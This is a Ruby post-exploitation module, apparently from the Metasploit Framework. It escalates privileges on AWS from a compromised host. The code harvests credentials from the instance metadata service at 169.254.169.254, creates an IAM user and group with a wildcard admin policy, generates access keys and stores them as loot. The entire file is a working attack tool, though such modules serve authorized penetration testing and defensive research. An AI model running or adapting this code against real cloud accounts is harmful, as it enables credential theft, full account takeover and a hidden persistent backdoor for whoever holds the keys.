metasploit-framework/modules/post/multi/escalate/aws_create_iam_user.rb

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require 'msf/core'
require 'metasploit/framework/aws/client'
class MetasploitModule < Msf::Post
include Metasploit::Framework::Aws::Client
def initialize(info={})
super(update_info(info,
'Name' => "Create an AWS IAM User",
'Description' => %q{
This module will attempt to create an AWS (Amazon Web Services) IAM
(Identity and Access Management) user with Admin privileges.
},
'License' => MSF_LICENSE,
'Platform' => %w(unix),
'SessionTypes' => %w(shell meterpreter),
'Author' => ['Javier Godinez <godinezj[at]gmail.com>']
))
register_options(
[
OptString.new('METADATA_IP', [true, 'The metadata service IP', '169.254.169.254']),
OptString.new('RHOST', [true, 'AWS IAM Endpoint', 'iam.amazonaws.com']),
OptString.new('RPORT', [true, 'AWS IAM Endpoint TCP Port', 443]),
OptString.new('SSL', [true, 'AWS IAM Endpoint SSL', true]),
OptString.new('IAM_GROUP_POL', [true, 'IAM group policy to use', '{"Version": "2012-10-17", "Statement": [{"Effect": "Allow", "Action": "*", "Resource": "*" }]}']),
OptString.new('IAM_USERNAME', [true, 'Username for the user to be created', 'metasploit']),
OptString.new('Region', [true, 'The default region', 'us-east-1' ])
])
register_advanced_options(
[
OptString.new('AccessKeyId', [false, 'AWS access key', '']),
OptString.new('SecretAccessKey', [false, 'AWS secret key', '']),
OptString.new('Token', [false, 'AWS session token', ''])
])
deregister_options('VHOST')
end
def run
# setup creds for making IAM API calls
creds = metadata_creds
if datastore['AccessKeyId'].empty?
if creds['AccessKeyId'].nil?
print_error("Clould not find creds")
return
end
else
creds = {
'AccessKeyId' => datastore['AccessKeyId'],
'SecretAccessKey' => datastore['SecretAccessKey'],
'Token' => datastore['Token']
}
end
# create user
username = datastore['IAM_USERNAME']
print_status("Creating user: #{username}")
action = 'CreateUser'
doc = call_iam(creds, 'Action' => action, 'UserName' => username)
print_results(doc, action)
# create group
print_status("Creating group: #{username}")
action = 'CreateGroup'
doc = call_iam(creds, 'Action' => action, 'GroupName' => username)
print_results(doc, action)
# create group policy
print_status("Creating group policy: #{username}")
pol_doc = datastore['IAM_GROUP_POL']
action = 'PutGroupPolicy'
doc = call_iam(creds, 'Action' => action, 'GroupName' => username, 'PolicyName' => username, 'PolicyDocument' => URI.encode(pol_doc))
print_results(doc, action)
# add user to group
print_status("Adding user (#{username}) to group: #{username}")
action = 'AddUserToGroup'
doc = call_iam(creds, 'Action' => action, 'UserName' => username, 'GroupName' => username)
print_results(doc, action)
# create API keys
print_status("Creating API Keys for #{username}")
action = 'CreateAccessKey'
doc = call_iam(creds, 'Action' => action, 'UserName' => username)
doc = print_results(doc, action)
return if doc.nil?
path = store_loot(doc['AccessKeyId'], 'text/plain', datastore['RHOST'], doc.to_json)
print_good("API keys stored at: " + path)
end
end